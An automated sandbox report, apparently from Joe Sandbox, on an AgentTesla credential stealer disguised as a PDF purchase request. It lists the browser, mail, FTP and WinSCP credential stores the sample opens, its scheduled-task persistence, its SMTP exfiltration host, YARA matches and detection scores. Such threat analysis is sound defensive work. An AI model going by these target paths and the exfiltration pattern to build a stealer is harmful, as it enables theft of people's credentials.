Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Queries volume information: C:\Users\user\AppData\Roaming\vmPeKTe.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1483006470.0000000002D1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1483006470.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3874134304.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1481076677.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1429937716.0000000004B82000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe PID: 7552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 8048, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1608, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1483006470.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3874134304.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1481076677.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1429937716.0000000004B82000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe PID: 7552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 8048, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1608, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1483006470.0000000002D1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1483006470.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3874134304.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1481076677.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1429937716.0000000004B82000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe PID: 7552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 8048, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1608, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	311 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	12 Obfuscated Files or Information	1 Credentials in Registry	211 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	21 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	1 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	311 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	58%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	65%	Virustotal		Browse
REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\vmPeKTe.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\vmPeKTe.exe	58%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla

Source	Detection	Scanner	Label
http://crl.glR	0%	Avira URL Cloud	safe
http://crl.globalsign	0%	Avira URL Cloud	safe
http://www.elderscrolls.com/skyrim/character	0%	Avira URL Cloud	safe
http://www.elderscrolls.com/skyrim/player	0%	Avira URL Cloud	safe
http://www.elderscrolls.com/skyrim/characterT	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
smtp.yandex.ru	77.88.21.158	true	false		high
api.ipify.org	104.26.13.205	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.glR	RegSvcs.exe, 0000000F.00000002.3882449915.0000000005F1D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.globalsign	RegSvcs.exe, 0000000F.00000002.3892607664.00000000094AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.elderscrolls.com/skyrim/character	REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, vmPeKTe.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://api.ipify.org	REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, 00000000.00000002.1429937716.0000000004B82000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.1481076677.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.1483006470.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002B9C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.elderscrolls.com/skyrim/characterT	REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, vmPeKTe.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://account.dyn.com/	REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, 00000000.00000002.1429937716.0000000004B82000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.1481076677.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.ipify.org/t	RegSvcs.exe, 0000000A.00000002.1483006470.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.gl	RegSvcs.exe, 0000000F.00000002.3883053125.0000000005FA5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, 00000000.00000002.1426563917.00000000036DE000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.1483006470.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, vmPeKTe.exe, 0000000B.00000002.1486889993.000000000296E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002B9C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.elderscrolls.com/skyrim/player	vmPeKTe.exe, 0000000B.00000002.1486889993.00000000025DA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
77.88.21.158	smtp.yandex.ru	Russian Federation		13238	YANDEXRU	false
104.26.13.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1569777
Start date and time:	2024-12-06 09:57:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@21/15@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 160 Number of non-executed functions: 20
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:57:54	API Interceptor	1x Sleep call for process: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe modified
03:57:56	API Interceptor	37x Sleep call for process: powershell.exe modified
03:57:59	API Interceptor	9417044x Sleep call for process: RegSvcs.exe modified
03:58:00	API Interceptor	1x Sleep call for process: vmPeKTe.exe modified
09:57:57	Task Scheduler	Run new task: vmPeKTe path: C:\Users\user\AppData\Roaming\vmPeKTe.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
77.88.21.158	7Gt3icFvQW.exe	Get hash	malicious	AgentTesla	Browse
	e7lGwhCp7r.exe	Get hash	malicious	AgentTesla	Browse
	DHL Delivery Invoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse
	DATASHEET.pdf.exe	Get hash	malicious	AgentTesla	Browse
	DATASHEET.exe	Get hash	malicious	AgentTesla	Browse
	datasheet.exe	Get hash	malicious	AgentTesla	Browse
	datasheet.exe	Get hash	malicious	AgentTesla	Browse
	0zu73p2YBu.exe	Get hash	malicious	Chrome Password Stealer, Fox Password Stealer, Opera Password Stealer	Browse
	BWr9qnCU8X.exe	Get hash	malicious	Unknown	Browse
	REQUEST FOR OFFER EQUIPMENT ORDER LIST.exe	Get hash	malicious	AgentTesla	Browse
104.26.13.205	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Prismifyr-Install.exe	Get hash	malicious	Node Stealer	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
smtp.yandex.ru	7Gt3icFvQW.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	e7lGwhCp7r.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	DHL Delivery Invoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	77.88.21.158
	DATASHEET.pdf.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	DATASHEET.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
